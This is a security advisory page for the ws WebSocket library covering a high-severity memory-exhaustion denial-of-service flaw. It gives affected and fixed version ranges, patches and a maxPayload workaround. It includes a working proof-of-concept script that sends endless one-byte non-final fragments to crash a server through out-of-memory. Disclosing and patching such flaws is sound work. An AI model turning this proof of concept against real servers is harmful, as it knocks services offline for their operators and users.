Packages / ws / Security

HighVulnerabilityGHSA-96hv-2xvq-fx4pCVE-2026-48779Published 15 Jun 2026

ws: Memory exhaustion DoS from tiny fragments and data chunks

Affected releases · ws

  • 8.x8.0.0 – 8.20.1Fixed in 8.21.0
  • 7.x7.0.0 – 7.5.10Fixed in 7.5.11
  • 6.x6.0.0 – 6.2.3Fixed in 6.2.4
  • 5.x5.0.0 – 5.2.4Fixed in 5.2.5
  • 4.x and older1.1.0 – 4.1.0No fix, no longer updated

On 8.x, the newest line:

npm install ws@8.21.0
8.x
  1. Affected

    8.0.0 – 8.20.1

    36 releases

  2. Fixed

    8.21.0 – 8.22.0

    5 releases, latest

7.x
  1. Affected

    7.0.0 – 7.5.10

    30 releases

  2. Fixed

    7.5.11 – 7.5.13

    3 releases

6.x
  1. Affected

    6.0.0 – 6.2.3

    10 releases

  2. Fixed

    6.2.4 – 6.2.6

    3 releases

5.x
  1. Affected

    5.0.0 – 5.2.4

    8 releases

  2. Fixed

    5.2.5 – 5.2.7

    3 releases

4.x
  1. Affected

    4.0.0 – 4.1.0

    2 releases

3.x
  1. Affected

    3.0.0 – 3.3.3

    7 releases

2.x
  1. Affected

    2.0.0 – 2.3.1

    11 releases

1.x
  1. Not affected

    1.0.0 – 1.0.1

    2 releases

  2. Affected

    1.1.0 – 1.1.5

    6 releases

184 stable releases of ws, oldest to newest, one row per major.

Is your project affected?

Paste your package.json, or type the range you declare for ws. It is read in your browser and sent nowhere.

What happens

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (bca91ad) and backported to ws@7.5.11 (fd36cd8), ws@6.2.4 (86d3e8a), and ws@5.2.5 (b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.